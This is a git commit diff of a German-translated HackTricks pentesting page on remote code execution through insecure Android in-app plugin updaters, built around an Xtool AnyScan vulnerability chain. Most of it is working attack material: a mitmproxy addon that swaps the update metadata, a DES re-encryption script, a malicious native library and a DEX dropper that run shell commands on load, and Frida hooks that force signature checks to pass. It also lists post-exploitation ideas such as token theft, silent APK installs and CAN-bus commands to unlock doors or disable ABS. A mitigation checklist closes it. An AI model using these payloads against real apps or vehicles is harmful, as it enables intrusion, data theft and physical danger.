Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap

This commit is contained in:
Translator 2025-08-27 04:09:00 +00:00
parent 471c2f2667
commit e0cdafb0ec

View File

@ -1,16 +1,49 @@
# Unsichere In-App-Update-Mechanismen Remote Code Execution über bösartige Plugins
# Unsichere In-App-Update-Mechanismen Remote Code Execution via Malicious Plugins
{{#include ../../banners/hacktricks-training.md}}
Viele Android-Anwendungen implementieren ihre **eigenen „Plugin“- oder „dynamischen Feature“-Updatekanäle**, anstatt den Google Play Store zu verwenden. Wenn die Implementierung unsicher ist, kann ein Angreifer, der den Datenverkehr abfängt, **willkürlichen nativen Code bereitstellen, der im App-Prozess geladen wird**, was zu vollständiger Remote Code Execution (RCE) auf dem Gerät führt und in einigen Fällen auf jedem externen Gerät, das von der App gesteuert wird (Autos, IoT, medizinische Geräte …).
Viele Android-Anwendungen implementieren eigene “plugin”- oder “dynamic feature”-Update-Kanäle anstelle des Google Play Store. Ist die Implementierung unsicher, kann ein Angreifer, der den Update-Verkehr abfangen oder manipulieren kann, beliebigen nativen oder Dalvik/ART-Code bereitstellen, der im App-Prozess geladen wird und zu vollständigem Remote Code Execution (RCE) auf dem Gerät führt und in manchen Fällen auf externen Geräten, die von der App gesteuert werden (Autos, IoT, medizinische Geräte …).
Diese Seite fasst eine reale Schwachstellenkette zusammen, die in der Xtool **AnyScan** Automobil-Diagnose-App (v4.40.11 → 4.40.40) gefunden wurde, und verallgemeinert die Technik, damit Sie andere Android-Apps prüfen und die Fehlkonfiguration während eines Red-Team-Einsatzes ausnutzen können.
Diese Seite fasst eine reale Vulnerability-Kette zusammen, die in der Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) gefunden wurde, und verallgemeinert die Technik, damit Sie andere Android-Apps auditieren und die Fehlkonfiguration während eines red-team-Einsatzes ausnutzen können.
---
## 1. Identifizierung eines unsicheren TLS TrustManagers
## 0. Schnelles Triage: Hat die App einen InApp-Updater?
1. Decompilieren Sie die APK mit jadx / apktool und lokalisieren Sie den Netzwerk-Stack (OkHttp, HttpUrlConnection, Retrofit…).
2. Suchen Sie nach einem **benutzerdefinierten `TrustManager`** oder `HostnameVerifier`, der jedes Zertifikat blind vertraut:
Statische Hinweise, nach denen Sie in JADX/apktool suchen sollten:
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Netzwerkendpunkte wie `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
- Crypto-Helper in der Nähe von Update-Pfaden (DES/AES/RC4; Base64; JSON/XML packs).
- Dynamische Loader: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
- Unzip-Pfade, die in app-internal oder external storage schreiben und anschließend sofort eine `.so`/DEX laden.
Runtime hooks zur Bestätigung:
```js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
```
---
## 1. Identifying an Insecure TLS TrustManager
1. Die APK mit jadx / apktool dekompilieren und den Networking-Stack (OkHttp, HttpUrlConnection, Retrofit…) lokalisieren.
2. Nach einem benutzerdefinierten `TrustManager` oder `HostnameVerifier` suchen, der jedem Zertifikat blind vertraut:
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
};
}
```
3. Wenn vorhanden, akzeptiert die Anwendung **jedes TLS-Zertifikat** → Sie können einen transparenten **MITM-Proxy** mit einem selbstsignierten Zertifikat ausführen:
3. Wenn vorhanden akzeptiert die Anwendung jedes TLS certificate → du kannst einen transparenten MITM proxy mit einem self-signed cert betreiben:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
If TLS pinning is enforced instead of unsafe trust-all logic, see:
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
---
## 2. Reverse-Engineering der Update-Metadaten
Im Fall von AnyScan löst jeder App-Start einen HTTPS GET an:
Im AnyScan-Fall sendet jeder App-Start einen HTTPS GET an:
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
Der Antwortkörper ist ein **XML-Dokument**, dessen `<FileData>`-Knoten **Base64-kodiertes, DES-ECB-verschlüsseltes** JSON enthalten, das jedes verfügbare Plugin beschreibt.
Der Response-Body ist ein XML-Dokument, in dessen `<FileData>`-Knoten Base64-kodiertes, in DES-ECB verschlüsseltes JSON enthalten ist, das jeweils ein verfügbares Plugin beschreibt.
Typische Jagdschritte:
1. Lokalisieren Sie die Krypto-Routine (z. B. `RemoteServiceProxy`) und stellen Sie wieder her:
* Algorithmus (DES / AES / RC4 …)
* Betriebsmodus (ECB / CBC / GCM …)
* fest codierter Schlüssel / IV (oft 56-Bit-DES-Schlüssel oder 128-Bit-AES-Schlüssel in Konstanten)
2. Implementieren Sie die Funktion in Python neu, um die Metadaten zu entschlüsseln / zu verschlüsseln:
Typical hunting steps:
1. Lokalisieren Sie die Krypto-Routine (z. B. `RemoteServiceProxy`) und ermitteln Sie:
- Algorithmus (DES / AES / RC4 …)
- Betriebsmodus (ECB / CBC / GCM …)
- hartkodierter Key / IV (häufig 56bit DES oder 128bit AES Konstanten)
2. Implementieren Sie die Funktion in Python neu, um die Metadaten zu entschlüsseln/verschlüsseln:
```python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
## 3. Erstellen Sie ein bösartiges Plugin
Notes seen in the wild (20232025):
- Metadaten sind oft JSON-within-XML oder protobuf; schwache Ciphers und statische Schlüssel sind verbreitet.
- Viele Updaters akzeptieren plain HTTP für den eigentlichen Payload-Download, selbst wenn Metadaten über HTTPS kommen.
- Plugins entpacken häufig in app-internen Speicher; einige verwenden noch externen Speicher oder das legacy-Flag `requestLegacyExternalStorage`, wodurch Cross-App-Tampering möglich ist.
1. Wählen Sie eine beliebige legitime Plugin-ZIP-Datei aus und ersetzen Sie die native Bibliothek durch Ihre Nutzlast:
---
## 3. Ein bösartiges Plugin erstellen
### 3.1 Pfad zur nativen Bibliothek (dlopen/System.load[Library])
1. Wähle ein legitimes Plugin-ZIP und ersetze die native Bibliothek durch deinen Payload:
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. Aktualisieren Sie die JSON-Metadaten, sodass `"FileName" : "PWNED.zip"` und `"DownloadURL"` auf Ihren HTTP-Server zeigen.
3. DES-verschlüsseln + Base64-codieren Sie das modifizierte JSON und fügen Sie es zurück in die abgefangene XML ein.
2. Aktualisiere die JSON-Metadaten so, dass `"FileName" : "PWNED.zip"` und `"DownloadURL"` auf deinen HTTP server zeigen.
3. Reencrypt + Base64encode das modifizierte JSON und kopiere es zurück in das abgefangene XML.
## 4. Übermitteln Sie die Payload mit mitmproxy
### 3.2 Dex-basierter Plugin-Pfad (DexClassLoader)
`addon.py` Beispiel, das die ursprünglichen Metadaten *stillschweigend* austauscht:
Einige Apps laden eine JAR/APK herunter und laden Code via `DexClassLoader`. Erstelle ein bösartiges DEX, das beim Laden ausgelöst wird:
```java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
```
```bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
```
Wenn das Ziel `Class.forName("pwn.Dropper")` aufruft, wird der statische Initializer ausgeführt; andernfalls werden mittels Frida reflectiv die geladenen Klassen aufgezählt und eine exportierte Methode aufgerufen.
---
## 4. Den Payload mit mitmproxy ausliefern
`addon.py` Beispiel, das stillschweigend die ursprünglichen Metadaten austauscht:
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
@ -89,36 +166,69 @@ MOD_XML,
{"Content-Type": "text/xml"}
)
```
Führen Sie einen einfachen Webserver aus, um die bösartige ZIP-Datei zu hosten:
Starte einen einfachen Webserver, um das bösartige ZIP/JAR zu hosten:
```bash
python3 -m http.server 8000 --directory ./payloads
```
Wenn das Opfer die App startet, wird sie:
* unser gefälschtes XML über den MITM-Kanal abrufen;
* es mit dem fest codierten DES-Schlüssel entschlüsseln und parsen;
* `PWNED.zip` herunterladen → im privaten Speicher entpacken;
* `dlopen()` die enthaltene *libscan_x64.so* aufrufen und sofort unseren Code **mit den Berechtigungen der App** (Kamera, GPS, Bluetooth, Dateisystem, …) ausführen.
When the victim launches the app it will:
- über den MITM-Kanal unser gefälschtes XML abrufen;
- mit der fest im Code verankerten Kryptographie entschlüsseln und parsen;
- die Datei `PWNED.zip` oder `plugin.jar` herunterladen → im privaten Speicher entpacken;
- die enthaltene `.so` oder DEX laden und unseren Code sofort mit den Rechten der App ausführen (Kamera, GPS, Bluetooth, Dateisystem, …).
Da das Plugin auf der Festplatte zwischengespeichert ist, **besteht der Backdoor über Neustarts hinweg** und wird jedes Mal ausgeführt, wenn der Benutzer die zugehörige Funktion auswählt.
## 5. Ideen zur Nachnutzung
* Stehlen Sie Sitzungscookies, OAuth-Token oder JWTs, die von der App gespeichert werden.
* Eine zweite APK im Hintergrund installieren und stillschweigend über `pm install` installieren (die App hat bereits `REQUEST_INSTALL_PACKAGES`).
* Missbrauchen Sie jede verbundene Hardware im AnyScan-Szenario können Sie beliebige **OBD-II / CAN-Bus-Befehle** senden (Türen entriegeln, ABS deaktivieren usw.).
Da das Plugin auf der Festplatte zwischengespeichert wird, bleibt die Backdoor über Neustarts erhalten und wird jedes Mal ausgeführt, wenn der Benutzer die entsprechende Funktion auswählt.
---
### Erkennungs- und Minderungsliste (blaue Gruppe)
## 4.1 Umgehung von Signature-/Hash-Prüfungen (falls vorhanden)
* Versenden Sie NIEMALS einen Produktionsbuild mit einem benutzerdefinierten TrustManager/HostnameVerifier, der die Zertifikatsvalidierung deaktiviert.
* Laden Sie keinen ausführbaren Code von außerhalb des Google Play Store herunter. Wenn Sie *müssen*, signieren Sie jedes Plugin mit demselben **apkSigning v2**-Schlüssel und überprüfen Sie die Signatur vor dem Laden.
* Ersetzen Sie schwache/fest codierte Kryptografie durch **AES-GCM** und einen serverseitigen rotierenden Schlüssel.
* Validieren Sie die Integrität heruntergeladener Archive (Signatur oder mindestens SHA-256).
Wenn der Updater Signaturen oder Hashes validiert, hooke die Überprüfung, sodass Angreifer-Inhalte immer akzeptiert werden:
```js
// Frida make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
```
Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()`, `checkHash()`, or shortcircuiting update gating logic in Java or JNI.
---
## Referenzen
## 5. Andere Angriffsflächen in UpdateMechanismen (20232025)
- Zip Slip path traversal beim Extrahieren von Plugins: bösartige Einträge wie `../../../../data/data/<pkg>/files/target` überschreiben beliebige Dateien. Immer EntryPfade bereinigen und AllowLists verwenden.
- External storage staging: wenn die App das Archiv vor dem Laden auf externen Speicher schreibt, kann jede andere App es manipulieren. Scoped Storage oder interner AppSpeicher vermeiden das.
- Cleartext downloads: Metadaten über HTTPS, aber Payload über HTTP → straightforward MITM swap.
- Unvollständige Signaturprüfungen: es wird nur ein einzelner FileHash verglichen statt des gesamten Archivs; die Signatur nicht an den EntwicklerKey gebunden; das Akzeptieren beliebiger RSAKeys, die im Archiv vorhanden sind.
- React Native / Webbasierte OTAInhalte: wenn native Bridges JS aus OTA ausführen ohne strikte Signierung, ist arbitrary code execution im AppKontext möglich (z. B. unsichere CodePushähnliche Flows). Sicherstellen, dass Updates detached signiert sind und strikt verifiziert werden.
---
## 6. Post-ExploitationIdeen
- SessionCookies, OAuthTokens oder JWTs stehlen, die von der App gespeichert werden.
- Eine zweite Stufe APK ablegen und sie falls möglich still installieren via `pm install` (einige Apps deklarieren bereits `REQUEST_INSTALL_PACKAGES`).
- Jegliche angeschlossene Hardware missbrauchen im AnyScanSzenario kann man beliebige OBDII / CAN bus Befehle senden (Türen entriegeln, ABS deaktivieren, etc.).
---
### Erkennungs- & Mitigations-Checkliste (blue team)
- Dynamisches Laden von Code und OutofStoreUpdates vermeiden. Playmediated updates bevorzugen. Wenn dynamische Plugins zwingend erforderlich sind, als dataonly Bundles entwerfen und ausführbaren Code im BaseAPK belassen.
- TLS korrekt durchsetzen: keine custom trustall Managers; Pinning dort einsetzen, wo möglich, und eine gehärtete network security config bereitstellen, die CleartextTraffic verbietet.
- Kein ausführbaren Code von außerhalb von Google Play herunterladen. Falls unumgänglich, detached update signing verwenden (z. B. Ed25519/RSA) mit einem vom Entwickler gehaltenen Key und vor dem Laden verifizieren. Metadata und Payload binden (Länge, Hash, Version) und im Fehlerfall schließen.
- Moderne Kryptografie verwenden (AESGCM) mit proNachricht Nonces für Metadaten; hartkodierte Keys aus Clients entfernen.
- Integrität heruntergeladener Archive validieren: eine Signatur verifizieren, die jede Datei abdeckt, oder mindestens ein Manifest von SHA256 Hashes prüfen. Zusätzliche/unkannte Dateien ablehnen.
- Downloads im appinternen Speicher ablegen (oder Scoped Storage auf Android 10+) und Dateiberechtigungen verwenden, die CrossAppManipulation verhindern.
- Gegen Zip Slip verteidigen: ZipEntryPfade normalisieren und validieren vor der Extraktion; absolute Pfade oder `..`Segmente ablehnen.
- Play “Code Transparency” in Betracht ziehen, damit Sie und Nutzer verifizieren können, dass ausgelieferter DEX/native Code dem Build entspricht (ergänzt, ersetzt aber nicht APK signing).
---
## References
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
- [Android Developers Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
{{#include ../../banners/hacktricks-training.md}}